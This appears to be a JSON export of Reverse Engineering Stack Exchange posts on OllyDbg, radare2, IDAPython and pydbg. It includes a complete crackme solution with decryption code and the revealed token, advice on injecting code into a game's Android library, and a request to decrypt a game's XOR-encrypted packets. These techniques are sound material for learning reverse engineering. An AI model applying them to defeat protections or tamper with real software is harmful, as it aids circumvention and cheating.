        "Body": "<p>I'm trying to interpret some contents of memory, it would be nice to decode contents of the lower left window in Olly (memory hex dump).</p>\n\n<p>A specific example is a char** array.  Specifically char *argv[].  argv is a pointer to an array of pointers, each of which is the beginning of a string.  Here I have 3 arguments to my program, so including the path and exe name that makes argc=4 as I enter main(int argc, char *argv[]).</p>\n\n<p>In the image below I graphically show argv=0x0041 0E80 from where we see 4 32-bit values in memory, each is a pointer to the beginning of strings argv[0], argv<a href=\"https://i.stack.imgur.com/9QQDr.png\" rel=\"nofollow noreferrer\">1</a>, argv[2], and argv[3] (sorry about red line).</p>\n\n<p><a href=\"https://i.stack.imgur.com/9QQDr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9QQDr.png\" alt=\"hexdump window in Olly (sorry about red line)\"></a></p>\n\n<p>If I select the 4 bytes at 00410EA0, or those 16 bytes starting at 00410EA8 and right-click in this hex-dump window of Olly (lower left quadrant) I'd like to bring up a list of strings.  I see there are options to decode as structures and pointer to structure, so I would think there would be something simpler for arrays and arrays of strings.  </p>\n\n<p>Any hints?  Thanks.</p>\n",
        "Title": "List arrays (de-reference pointers) in Ollydbg",
        "Tags": "|ollydbg|",
        "Answer": "<p>right click in the dump pane -> integer -> address with ascii/unicode dump</p>\n\n<p>src , execution , and screen shot below</p>\n\n<pre><code>multiargs.exe I Me You We Us Them\n\narg 00 = multiargs.exe\narg 01 = I\narg 02 = Me\narg 03 = You\narg 04 = We\narg 05 = Us\narg 06 = Them\n\nollydbg.exe multiargs.exe I Me You We Us Them\n\ntype multiargs.cpp\n\n#include &lt;stdio.h&gt;\nint main (int argc , char *argv[]) {\n        for (int i=0;i&lt;argc;i++){\n                printf(\"arg %02d = %s\\n\",i,argv[i]);\n        }\n}\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/mWDJM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mWDJM.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "11892",
        "CreationDate": "2016-01-30T09:11:25.887",
        "Body": "<p>Is it possible to somehow copy/paste sections of data in the hex dump, or lines of code in the code (top left in CPU window disassembly window)?</p>\n\n<p>Example: cloning a function, and then making some changes.  Another example, copying a section of code that puts arguments on the stack and then calls a function like opening a messagebox, i.e. copying some 4-5 lines.  </p>\n\n<p>I can double click in the code (disassembly) window in the \"command\" column to open the \"assemble\" dialog, copy the text (such as CALL 004026F8), then close it (without changing this instruction) then go to some NOP's or 0's or something, double clicking (\"command\" column again) to open the assembly dialog again and pasting it in.  This is ok for one or two instructions, but it would be nice if I could just select several lines and copy/paste them at once.  Or if I could do it in the hex dump window by copying just bytes instead of lines of code.  </p>\n\n<p>I see the \"binary copy\" and \"binary paste\" in the hex dump window but they only do it for one byte, not a selected region.</p>\n\n<p>I see in some videos people noting down addresses and running a separate hex editor program just to do this type of operation.  </p>\n\n<p>By the way, by selecting a region of data in the hex dump, one can right-click \"Open in separate dump window\" to open a window containing just this, and then write this selected data out to a file <a href=\"https://stackoverflow.com/questions/34341726/how-to-dump-memory-into-raw-file-in-ollydbg/3437098\">link</a>.  And one can bring in .bin files (not by File-Open but by drag and dropping them in) to a window also.  But I can't see how to copy more than one byte at a time between them.</p>\n\n<p>I'm almost embarrassed to ask this question, but I like Olly and want to be a \"power-user\".</p>\n",
        "Title": "copy/pasting sections of code or hex in Ollydbg",
        "Tags": "|ollydbg|",
        "Answer": "<p><code>select -&gt; ctrl+c</code> copy the whole display as text usefull for taking notes \noption available in all mdi windows </p>\n\n<pre><code>CPU Disasm\nAddress          Hex dump   Command                                     Comments\n01261970 _allmul /$  8B4424 MOV     EAX, DWORD PTR SS:[ESP+8]      ; multiargs._allmul(void)\n01261974         |.  8B4C24 MOV     ECX, DWORD PTR SS:[ESP+10]\n01261978         |.  0BC8   OR      ECX, EAX\n0126197A         |.  8B4C24 MOV     ECX, DWORD PTR SS:[ESP+0C]\n</code></pre>\n\n<p>binary copy copies only the bytes </p>\n\n<pre><code>8B 44 24 08 8B 4C 24 10 0B C8 8B 4C 24 0C\n</code></pre>\n\n<p>binary paste pastes multiple bytes    </p>\n\n<p>for pasting several copied bytes your paste area selection must be \nas big as copy  if you copied 5 bytes and want to paste 5 bytes select 5 bytes before pasting </p>\n\n<p>to make the address column symbols highlighted use \n<code>options (alt + o ) dump -&gt; highlight symbolic names</code> in address column</p>\n"
    },
    {
        "Id": "11893",
        "CreationDate": "2016-01-30T09:35:52.263",
        "Body": "<p>In Ollydbg's hex dump window (lower left quadrant of CPU window) one can interpret data as structures, you can right-click on one or more bytes and see the options \"Decode as structure\" or \"Decode as pointer to structure\" (if more than one byte selected).  It then opens a new window with the data laid out vertically, with each data element shown as a row.  You can decode more than one instance.  </p>\n\n<p>However, I'd like to add my own structure types.  Imagine I have this structure:</p>\n\n<pre><code>typedef struct {\n           double x,y,z;   \n           unsigned char id;\n           int label;\n           char *name_string;\n           anotherStructType *struct;       \n           } model_type;\n</code></pre>\n\n<p>Below are some images showing the steps, with the fixed structure type \"COORD\" chosen.  Imagine I want to decode it instead with the above 'model_type' structure type.  Perhaps the answer lies in some command line or .ini manual setting?</p>\n\n<p>Also, it would be nice if this could be used along with labels to identify struct elements in the disassembly window, for example [EAX+1C] could be interpreted as 'player.id' if one could somehow tell Olly EAX is the base pointer.  But perhaps I'm getting carried away...</p>\n\n<p><a href=\"https://i.stack.imgur.com/YBsmI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YBsmI.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/EIXAu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EIXAu.png\" alt=\"enter image description here\"></a> \n<a href=\"https://i.stack.imgur.com/tUIyb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tUIyb.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Creating my own custom structure in Ollydbg",
        "Tags": "|ollydbg|",
        "Answer": "<p><strong>BE AWARE</strong> <code>what follows are undocumented stuff</code> </p>\n\n<p>create a <code>file either named as [binary].arg</code> or <code>common.arg</code><br>\nthe first name is applicable to only to the specific [binary]<br>\nthe second name common.arg is applicable globally </p>\n\n<p>paste this inside the file </p>\n\n<pre><code>STRUCT _MYSTRUCT\nQWORD DOUBLE x\nQWORD DOUBLE y\nQWORD DOUBLE z\nBYTE  CHAR  id\nDWORD INT label\nDWORD ASCII* name\nDWORD INT* foo\nEND\n</code></pre>\n\n<p>drop the file in the folder where ollydbg resides.<br>\n_MYSTRUCT should be available in the drop down box now </p>\n\n<p><code>STRUCT</code> is a keyword<br>\nstruct names need a leading underscore<br>\nthe members are defined like<br>\nFIELDSIZE, TYPENAME , MEMBERNAME   </p>\n\n<p>valid FIELDSIZE are   </p>\n\n<ol>\n<li>BYTE</li>\n<li>WORD</li>\n<li>THREE</li>\n<li>DWORD</li>\n<li>QWORD</li>\n<li>TBYTE</li>\n</ol>\n\n<p>that correspond to sizes <code>1,2,3,4,8,16</code><br>\nTYEPNAMES are vast you should try and err<br>\ni have posted some which are common<br>\nNotice i have cast Your last Structure as INT* instead of anotherstruct*<br>\nfor which you may need to add a custom type in the file<br>\nyou can specify a repeat count with asterisk *    </p>\n\n<pre><code>BYTE*48 BYTE somecrap  \n</code></pre>\n\n<p>somecrap is MemberName a string    </p>\n\n<p><code>END is a keyword</code> denoting end of structure    </p>\n\n<p>some dummy src that use the structure from your Query compiled executed and \nscreen shot below</p>\n\n<p>src </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\n#pragma pack(1)\ntypedef struct _TESTY {\n    int a;\n    int b;\n}Testy,*PTesty;\ntypedef struct _MYSTRUCT {\n    double x,y,z;\n    unsigned char id;\n    int label;\n    char *name;\n    Testy *foo;\n}MyStruct,*PMyStruct;\n\nint main (void) {\n    MyStruct blah;\n    Testy arrgh;\n    char *test = \"hello do i know c ?\";\n    memset(&amp;blah,0,sizeof(blah));\n    blah.x=43.0;\n    blah.y=76.34;\n    blah.z=0.0;\n    blah.id = 'a';\n    blah.label = 54;\n    blah.name = test;\n    arrgh.a =45;\n    arrgh.b =54000;\n    blah.foo = &amp;arrgh;\n    printf(\"%f\\n\",blah.x);\n    printf(\"%s\\n\",blah.name);\n    printf(\"%d\\n\",blah.foo-&gt;b);\n    return 0;   \n}\n</code></pre>\n\n<p>executed </p>\n\n<pre><code>structy.exe\n43.000000\nhello do i know c ?\n54000 \n</code></pre>\n\n<p>running with ollydbg </p>\n\n<pre><code>ollydbg.exe structy.exe \n</code></pre>\n\n<p>the log windows shows it used the structure definitions we provided by xxxxx.arg </p>\n\n<pre><code>Log data\nAddress   Message\n          OllyDbg v2.01\n          Command line: structy.exe\n          Loading function descriptions from 'common.arg'\n            2 structures\n            Total size of known data is 1521777 bytes\n</code></pre>\n\n<p>screen shot \n<a href=\"https://i.stack.imgur.com/y3tEu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/y3tEu.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "11899",
        "CreationDate": "2016-01-31T00:22:07.233",
        "Body": "<p>Is there any easy way by using windbg/ollydbg to figure out a memory range or simply an address is DEP-enabled or not?</p>\n",
        "Title": "How to check if a memory range or an address is DEP-enabled or not?",
        "Tags": "|ollydbg|",
        "Answer": "<p>For your case all \"DEP enabled\" for a process means is that the stack and heap are not writable and executable. By the time you can attach a debugger you just need to check if the stack and heap are ReadWrite or ReadWriteExecute. </p>\n\n<p>In Windbg you can use either !vprot or !address to get this information. In Olly I believe there's a window under view that will give you a list of the memory regions in a process and their associated protections.</p>\n\n<p>Additionally you can check the PE header of an executable to see if it supports DEP or not. The <a href=\"https://github.com/corelan/mona\" rel=\"nofollow\">mona</a> plugin gives you a quick command to see this, but there are probably others as well.</p>\n"
    },
    {
        "Id": "11914",
        "CreationDate": "2016-02-02T00:01:04.633",
        "Body": "<p>I'll appreciate if anyone can give me a couple advices regarding kernel debugging/reversing.</p>\n\n<p>For instance if i want to know how the heap manager works what should i look for ?</p>\n\n<p>I have no experience in reversing kernels.</p>\n",
        "Title": "Advice about first steps on reversing windows kernel",
        "Tags": "|windows|kernel-mode|",
        "Answer": "<p>Note that if you're actually interested in the heap manager,\nit's part of the runtime and has nothing to do with kernel\nfunctionality, for instance: <code>HeapAlloc()</code> from <code>kernel32.dll</code>\nforwards to <code>RtlAllocateHeap()</code> from <code>ntdll.dll</code>, you can just open up\n<code>ntdll.dll</code> in your favorite framework and start reversing.</p>\n"
    },
    {
        "Id": "11928",
        "CreationDate": "2016-02-03T07:34:35.640",
        "Body": "<p><strong>EDIT</strong></p>\n\n<p>As some people have pointed out, this exe file classifies as a 'virus' on some analysers. I can assure you this exe is from a <em>very</em> trusted source, and is actually part of a large puzzle (which contains more questions like this, related to RE, cryptography, etc)</p>\n\n<p><strong>You are more than welcome to check my stack exchange profile and see I don't really have the \"this guy sends viruses to people and claims its a puzzle\" typecast :-)</strong></p>\n\n<hr>\n\n<p>I've been debugging using OllyDbg this <a href=\"https://drive.google.com/open?id=0B12xiY972a29WFJlAQTBTUzV3TEU\" rel=\"nofollow\">exe</a> (original version, a simple puzzle) for a while now, yet I still can't find out what input it expects.</p>\n\n<p><strong>What it does</strong></p>\n\n<p>Once executed, it asks you to type in the decrypted token.\nThe program will then tell you if the token is correct or not.</p>\n\n<p><strong>What I do know:</strong></p>\n\n<ol>\n<li>The exe calculates the target hash and stores it in memory once you run it (<strong>this hash does not change from execution to execution</strong>)</li>\n<li>It calls IsDebuggerPresent once executed - and alters the above result if so. I patched this on my version of the exe.</li>\n<li>It waits for user input</li>\n<li>It calculates the hash of the users input (with a salt I think), and compares it to the hash it calculated on step 1</li>\n</ol>\n\n<p>The target is to find out which input one should give to the exe on step 3</p>\n\n<p><strong>What I've tried</strong></p>\n\n<p>Basically, as the hash is a 32 byte string, I thought maybe this is plain MD4/MD5. What I did is to give the program a known plain text - \"1111\", and extract the hash it calculates. I then took the hash and tried to run a MD4/MD5 cracker on it, giving it a known candidate - \"1111\". I had no luck in doing that, which negated the MD4/MD5 thoery (probably?)</p>\n\n<p><strong>Next steps</strong></p>\n\n<p>As RE is new to me, the next logical step to do is to try and figure out which string the exe uses to calculate the target hash on step 1. I did find something in the memory while I debugged step 1 -\na string with the value of </p>\n\n<blockquote>\n  <p>\"Habh;)86!!'a/$r3})RX;8{>T\"</p>\n</blockquote>\n\n<p>(note the \\t and \\n), but when giving this input to the exe on step 3, the result is incorrect.</p>\n\n<p>Thoughts would be appreciated!</p>\n",
        "Title": "Extract decrypted token from EXE",
        "Tags": "|windows|c++|encryption|crackme|hash-functions|",
        "Answer": "<p>The token for this program is 57 characters long, and is encrypted using a 200KB lookup table. The cipher text is embedded in the application as 57 dword indices. Anti-debugging is implemented as a simple check against IsDebuggerAttached, which chooses between 57 <em>good</em> or 57 <em>bad</em> indices. </p>\n\n<p>When the app starts the token is decrypted and then hashed one character at a time. Rather than reversing or inspecting the hashing, I was interested in the operation of the lookup table.</p>\n\n<p>The code that indexes the table is run by the application in a separate thread. The thread proc begins at 0x4037A0, however it includes some invalid opcodes to confuse the disassembler. That invalid code is patched up by filling with NOP prior to executing it <em>(see: 0x403998)</em></p>\n\n<p>The table lookup function requires 3 index operations to resolve the encoded key character. Each dword index is modulo 0xc800 to ensure it falls within the 200KB table. The final index operation includes an offset based on the parity of the index.</p>\n\n<p>The C program that corresponds to the table lookup is:</p>\n\n<pre><code>unsigned int lookup(unsigned char *cipher_table, unsigned int cipher_index)\n{\n    unsigned int parity_check = 0, offset = 0;\n    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));\n    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));\n    if (cipher_index != 0) {\n        parity_check = cipher_index;\n        do {\n            if (!parity(parity_check &amp; 0xFF)) offset = ~offset;\n            parity_check = parity_check &gt;&gt; 8;\n        } while (parity_check &gt; 0);\n    }\n    cipher_index = *((unsigned int *)(cipher_table + (4 * ((cipher_index % 0xc800) + (offset &amp; 1)))));\n\n    return ((~cipher_index &amp; 0xFE000000) | cipher_index &amp; 0x01FFFFFF) ^ 0xFE000000;\n}\n</code></pre>\n\n<p>The following is a complete key decryption routine in C. It requires the \"1.exe\" binary, because it reads the 200KB lookup table from it. </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nconst unsigned char xor_data[57] = {\n    0xD1, 0x18, 0x52, 0xF3, 0x4B, 0x29, 0xB5, 0xE6,\n    0x2E, 0x60, 0x10, 0x1B, 0x59, 0x3E, 0x4D, 0xC1,\n    0x27, 0xAB, 0xA4, 0x82, 0x7F, 0x5B, 0x07, 0xA4,\n    0xE3, 0x1C, 0xE3, 0x93, 0x74, 0xBB, 0x3A, 0x62,\n    0x39, 0xE0, 0xDE, 0xE3, 0x85, 0x7A, 0x05, 0x29,\n    0x4F, 0xF1, 0x70, 0x1C, 0x70, 0x5E, 0xB3, 0xBF,\n    0x0A, 0x74, 0x97, 0x49, 0xFB, 0xE4, 0xC8, 0xF6,\n    0x5F \n};\n\nconst unsigned int cipher_index[57] = {\n    0xd12479b8, 0x02802dd4, 0x9390b528, 0x6d13be10,\n    0x38637098, 0xadb0df76, 0x492afd8d, 0x6cda8589,\n    0x3f327fb3, 0xb559ed2c, 0x0d379569, 0xee50590a,\n    0xeffc3faf, 0xb183ff7c, 0x4942fe7a, 0x3f9f0383,\n    0xe5e8796e, 0x4acdb7e3, 0x6f7778ac, 0x9cfbd58d,\n    0x5d58a9d4, 0xb53ee0e8, 0x4f0bc8f7, 0x6ddcf35a,\n    0x0b32d6f3, 0xec181a05, 0xebf6aab4, 0x727beb1b,\n    0xd19b1f42, 0x0cd03ae5, 0xc901c555, 0x9e6123ed,\n    0x4805bbd3, 0x0b4e3b5f, 0xe74991a5, 0x16e56a67,\n    0xcdbf9035, 0x0c3fb795, 0x4e46ed21, 0x3098a99c,\n    0x0be2219a, 0x89008aba, 0xd1e8cb77, 0x8d0a0f39,\n    0xbf93eaae, 0xdd1f5179, 0x27aa29da, 0x0687579f,\n    0xe4961b86, 0x00047b96, 0xdf66fc9d, 0xe4ff21b6,\n    0x056c231b, 0xb94a2217, 0x2e385b22, 0xd9315588,\n    0x975aec60\n};\n\nunsigned int lookup(unsigned char *cipher_table, unsigned int cipher_index);\n\nint main()\n{\n    // read lookup table from 1.exe\n    unsigned char *cipher_table = (unsigned char*)malloc(0x32000);\n    if (cipher_table == NULL) {\n        printf(\"Failed to allocate 200K lookup table\\r\\n\");\n        return -1;\n    }\n    FILE *file = NULL;\n    if (fopen_s(&amp;file, \"1.exe\", \"r\") != 0) {\n        printf(\"Failed to open 1.exe\\r\\n\");\n        return -1;\n    }\n    fseek(file, 0x6430, 0);\n    fread(cipher_table, 4, 0xc800, file);\n    fclose(file);\n\n    // Look up 57 key characters via indexes\n    for (int i = 0; i &lt; 57; i++) {\n        char key = (char)((lookup(cipher_table, cipher_index[i]) &gt;&gt; ((i &amp; 3) * 8)) ^ (xor_data[i]));\n        printf(\"%c\", key);\n    }\n    printf(\"\\r\\n\");\n    free(cipher_table);\n\n    return 0;\n}\n\n// true = even; false=odd\nbool parity(unsigned char check)\n{\n    check = (check &amp; 0x55) + ((check &gt;&gt; 1) &amp; 0x55);\n    check = (check &amp; 0x33) + ((check &gt;&gt; 2) &amp; 0x33);\n\n    return (((check &amp; 0x0F) + ((check &gt;&gt; 4) &amp; 0x0F)) % 2);\n}\n\nunsigned int lookup(unsigned char *cipher_table, unsigned int cipher_index)\n{\n    unsigned int parity_check = 0, offset = 0;\n    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));\n    cipher_index = *((unsigned int *)(cipher_table + (4 * (cipher_index % 0xc800))));\n    if (cipher_index != 0) {\n        parity_check = cipher_index;\n        do {\n            if (!parity(parity_check &amp; 0xFF)) offset = ~offset;\n            parity_check = parity_check &gt;&gt; 8;\n        } while (parity_check &gt; 0);\n    }\n    cipher_index = *((unsigned int *)(cipher_table + (4 * ((cipher_index % 0xc800) + (offset &amp; 1)))));\n\n    return ((~cipher_index &amp; 0xFE000000) | cipher_index &amp; 0x01FFFFFF) ^ 0xFE000000;\n}\n</code></pre>\n\n<p>The token is (spoiler):</p>\n\n<blockquote class=\"spoiler\">\n  <p> &lt;****TKN!34C38983E67F17EE146C25B8838E428D8B0AE58!TKN****></p>\n</blockquote>\n"
    },
    {
        "Id": "11942",
        "CreationDate": "2016-02-04T08:13:49.787",
        "Body": "<p>I have found <a href=\"https://reverseengineering.stackexchange.com/questions/8568/how-do-you-tell-radare-to-do-a-full-dump-of-an-x86-binary\">the command</a> <code>r2 -c 'pi $s'</code> to dump a binary with radare2. I have tried this redirecting the output to a file: <code>r2 -c 'pi $s' binary &gt; dump.txt</code>. The dump is created but radare2 gets unresponsive. Is this a bug, or am I doing something wrong?</p>\n",
        "Title": "Dumping binary with radare2",
        "Tags": "|radare2|",
        "Answer": "<p>This is because you're not passing the <code>-q</code> flag to radare2:</p>\n\n<pre><code>$ r2 -h | grep -- -q\n-q           quiet mode (no prompt) and quit after -i\n</code></pre>\n\n<p>The <code>-c</code> flag will execute a command in radare2, and then land you in the radare shell, but since you're redirecting <code>stdout</code> to a file, you can't see this. But if you hit <code>q</code> (as in <code>q</code>uit) and <em>Enter</em>, radare2 will exit.</p>\n\n<p>This is the command that you should use: <code>r2 -q -c 'pi $s' ./a.out &gt; out.txt</code> if you want radare2 to dump the entire binary, then exit. </p>\n"
    },
    {
        "Id": "11950",
        "CreationDate": "2016-02-04T21:48:52.150",
        "Body": "<p>Is there any way to add instructions to a library in IDA? My predicament is that there is no room in a game library (.so ELF, android) to fit my own code. There is an empty bss segment but IDA doesn't like to write to it, and I believe the game needs it for it's variables. </p>\n\n<p>I've tried adding additional bytes to the end of the file with a hex editor, and then opening it with IDA, but IDA will not show it possibly because it's not in a segment.</p>\n\n<p>Can I make my own library / modify the existing one so that the code segment is larger? My own library would need to be imported by the other library in order to work, I believe, because it needs functions and such from the original library.</p>\n\n<p>Thanks.</p>\n",
        "Title": "Adding/Finding Places for Instructions - Game Library IDA",
        "Tags": "|ida|assembly|android|arm|",
        "Answer": "<p>IDA not the most convenient tool for what you're trying to do. There are basically 3 ways to do it, and it seems you're already mentioning all of them in your question :</p>\n\n<ul>\n<li>Search for a code cave big enough to fit your payload</li>\n<li>Create a new section in your executable with a sufficient size for your payload</li>\n<li>Proxify your library and add functions or hook existing ones</li>\n</ul>\n\n<p>Now depending on what exactly you're trying to inject and how you're reaching it, each method has its specific pro/cons and will require a different approach. They should all be fairly well documented on the Internet.</p>\n\n<p>(Without more context/details about what you're trying to do, it's hard to tell you which one to pick though)</p>\n"
    },
    {
        "Id": "11954",
        "CreationDate": "2016-02-05T21:54:51.707",
        "Body": "<p>In Ollydbg, if an instruction causes a register to change, it is highlighted red in the registers window in the CPU view.</p>\n\n<p>Is it possible to have the same happen in the hex dump or stack windows?  Of course the area of memory being watched would have to have limits, perhaps only what is seen, or between some limits?</p>\n",
        "Title": "Can changes in memory (stack or hex dump) be highlighted as are register changes in Ollydbg?",
        "Tags": "|ollydbg|",
        "Answer": "<p>yes it is possible to but you have to set the dump characteristics manually<br>\nsuppose you are on an instruction <code>push 58</code><br>\nthis instruction will modify the stack \nso select <code>esp</code> from the registers pane <code>rightclick-&gt;and follow in dump</code><br>\nselect some bytes and press <code>ctrl+e</code><br>\nmodify some bytes in the selection<br>\nand reset it back to original bytes with <code>alt+backspace</code><br>\nnow if you execute <code>push 58</code> the dump at position esp-4 will be highlighted in red </p>\n\n<p><a href=\"https://i.stack.imgur.com/e4RPr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/e4RPr.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "11961",
        "CreationDate": "2016-02-07T04:34:08.837",
        "Body": "<p>How do I compare in IDA PRO if constants are located in the same functions or not.. like filter from all constants if I search for 2 constants or more I want to know which function(s) contain all the constants I want to search for, to eliminate searching through all constants with other constants to find matching functions.. (this is how I do it now it's very pain staking)</p>\n\n<p>Constants window looks like this <br>\n<a href=\"https://i.stack.imgur.com/wnxYq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wnxYq.png\" alt=\"constants\"></a><a href=\"https://i.stack.imgur.com/8J7V0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8J7V0.png\" alt=\"constants2\"></a>\n<br>\nHow I do I mark red lines for bad addresses and blue ones for good ones haha\n<br>\n<a href=\"https://i.stack.imgur.com/4LipZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4LipZ.png\" alt=\"how i do\"></a></p>\n\n<p><br><br>\nIs there any script or even better a plugin that does this job easier for me?</p>\n",
        "Title": "Ida Pro compare constants in same function or not",
        "Tags": "|ida|functions|script|compare|",
        "Answer": "<p>IDAPython is the way to go when you want to do such things. I'd say something like that should work:</p>\n\n<pre><code>CONST_1 = \"1234h\"\nCONST_2 = \"ABCDh\"\nfor func in Functions():\n    got_first, got_second = False, False\n    func_start = GetFunctionAttr(func,FUNCATTR_START)\n    func_end = GetFunctionAttr(func,FUNCATTR_END)\n    for ea in Heads(func_start, func_end):\n        cur_line = GetDisasm(ea)\n        got_first |= CONST_1 in cur_line\n        got_second |= CONST_2 in cur_line\n        if got_first and got_second:\n            print \"Found a match at 0x{:08x}\".format(func_start)\n            break\n</code></pre>\n\n<p>If your binary is really big and it's taking too long, you might think about optimizing the comparaison with operands.</p>\n"
    },
    {
        "Id": "11963",
        "CreationDate": "2016-02-07T13:53:20.070",
        "Body": "<p>In pydbg, is it possible to set a register without having it hit a break point first? Consider the following example break point handler:</p>\n\n<pre><code>def handler_breakpoint(mdbg):\n  print \"[+]Hit breakpoint\"\n  mdbg.set_register(\"EIP\", 0)\n  return DBG_CONTINUE\n</code></pre>\n\n<p>This code works, but if I call <code>mdbg.set_register(\"EIP\", 0)</code> (Note, outside the handler it would be <code>dbg.set_register(\"EIP\", 0)</code>) from outside a break point handler it returns <code>pdx: [6] GetThreadContext(): The handle is invalid</code>. How could I write this?</p>\n",
        "Title": "Pydbg setting registers without breakpoint?",
        "Tags": "|python|thread|register|",
        "Answer": "<p>changing the registers without an event is fundamentally not possible rethink and reformulate your query  </p>\n\n<p>if you do not want to do it in break-point handler  of any debugger you must suspend the process , Get the Thread's context and Set the thread's context and Resume the process </p>\n\n<p>pydbg can do all this iirc in the script body out of break-point handler</p>\n\n<p><strong>EDIT Added a Sample Script</strong></p>\n\n<pre><code>from pydbg import *\nfrom pydbg.defines import *\ndef handler_breakpoint (pydbg):\n    if pydbg.first_breakpoint:\n        return DBG_CONTINUE\ndef handler_access_violation (pydbg):\n    if pydbg.dbg.u.Exception.dwFirstChance:\n        print \"crashed and land here on FirstChance\"\n    else:\n        print \"crashed and land here on SecondChancee\"\n    return DBG_EXCEPTION_NOT_HANDLED\n\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.set_callback(EXCEPTION_ACCESS_VIOLATION, handler_access_violation)\ndbg.load(\"c:\\windows\\system32\\calc.exe\")\nprint \"pid of calc.exe is = %d\" % dbg.pid\ndbg.suspend_all_threads()\nfor thread_id in dbg.enumerate_threads():\n    thread_handle  = dbg.open_thread(thread_id)\n    thread_context = dbg.get_thread_context(thread_handle)\n    print \"eax = 0x%08x\" % thread_context.Eax\n    thread_context.Eax=0xdeadbeef\n    dbg.set_thread_context(thread_context,0,thread_id)\n    thread_context = dbg.get_thread_context(thread_handle)\n    print \"new eax = 0x%08x\" % thread_context.Eax\n    print \"yay we are going to crash now accessing random crap in eax\"  \ndbg.resume_all_threads()\npydbg.debug_event_loop(dbg)\n</code></pre>\n\n<p><strong>executed</strong> </p>\n\n<pre><code>:\\&gt;python changereg.py\npid of calc.exe is = 1940\neax = 0x00b52d6c\nnew eax = 0xdeadbeef\nyay we are going to crash now accessing random crap in eax\ncrashed and land here on FirstChance\ncrashed and land here on SecondChancee\n</code></pre>\n"
    },
    {
        "Id": "11964",
        "CreationDate": "2016-02-07T15:23:29.857",
        "Body": "<p>Dear <em>ReverseEngineering</em>@<strong>SE</strong>,</p>\n\n<p><strong>Background information:</strong>\nI have reason to believe that an old game I've played is still using their XOR encryption for nearly all in/out-going packets. I also believe that the key used in the encryption scheme remains static when I analyze the packet data, at least the frequency of certain values indicate so.</p>\n\n<p>I know for a fact that previous keys has been 9-byte ASCII keys of length</p>\n\n<p><strong>Problem:</strong>\nI am not able to decrypt the packages. I've tried just directly looping the key, XOR'ing the data that is contained in the TCP packages and also tried the following C# function for XOR cryptography (See appendix).</p>\n\n<p>Assuming Vigenere cipher is to be used as basis the previous keys suggest that the length might be 9 characters long.</p>\n\n<p>I do have complete control of what the plaintext (ASCII in this case) of decrypted packages are gonna contain since I can use the chat functionality in the game. Thus I have tried sending the same message and observed the data difference within Wireshark as seen here:</p>\n\n<p>Plaintext as sent in game: </p>\n\n<blockquote>\n  <p>TestingTheKeyTestingTheKeyTestingTheKeyTestingTheKey</p>\n</blockquote>\n\n<p>In the following snapshots are three packets of the same message. Notice how the length remains the same, further indicating a static key length:</p>\n\n<p><a href=\"https://i.stack.imgur.com/iJNGI.png\" rel=\"nofollow noreferrer\">Overview</a> <em>(3 dots indicating data traffic)</em></p>\n\n<p><a href=\"https://i.stack.imgur.com/uuXtI.png\" rel=\"nofollow noreferrer\">Data side-by-side</a> (<em>Non-header data highlighted</em>)</p>\n\n<p>And finally: Hex dumps of the same packets. (See appendix)</p>\n\n<p>I'm rather new to cryptography but find the field very interesting and hope that a kind spirit is willing to provide some assistance. Anything is appreciated.</p>\n\n<p>Thank you.</p>\n\n<p><strong>Appendix code</strong>\n<a href=\"http://pastebin.com/F0py05Lz\" rel=\"nofollow noreferrer\">http://pastebin.com/F0py05Lz</a></p>\n\n<p><strong>Hex dump (due to low rep)</strong></p>\n\n<pre><code>0000   aa 00 41 0e ad ce ff ce f0 ef e9 a0 f1 f8 9b a2\n0010   fe df f8 e5 9c fb ed b8 a0 f6 f0 ca f7 ae d6 f8\n0020   b4 9c fc e5 eb f7 a4 fb c8 a2 aa d5 f4 e1 cd a8\n0030   e8 ef a2 a0 f8 c4 f1 fd 87 ff e3 c8 c3 e2 99 42\n0040   de 51 ef 2b\n\n0000   aa 00 41 0e ae 9a a8 ca f2 eb bf a3 a1 aa cf f5\n0010   fa dd fc b3 9f ab bf ec f7 f2 f2 ce a1 ad 86 aa\n0020   e0 cb f8 e7 ef a1 a7 ab 9a f6 fd d1 f6 e5 9b ab\n0030   b8 bd f6 f7 fc c6 f5 ab 84 af b1 9c 94 d9 fd 32\n0040   91 07 59 ba\n\n0000   aa 00 41 0e af 9b fe 9a f9 e8 e3 f1 f2 a9 ce a3\n0010   aa d6 ff ef cd f8 bc ed a1 a2 f9 cd fd ff d5 a9\n0020   e1 9d a8 ec ec fd f5 f8 99 f7 ab 81 fd e6 c7 f9\n0030   eb be f7 a1 ac cd f6 f7 d6 fc b2 9d c2 3f 2d 7a\n0040   bd f6 42 d6\n</code></pre>\n",
        "Title": "XOR Encryption (XPost from Crypto)",
        "Tags": "|xor|",
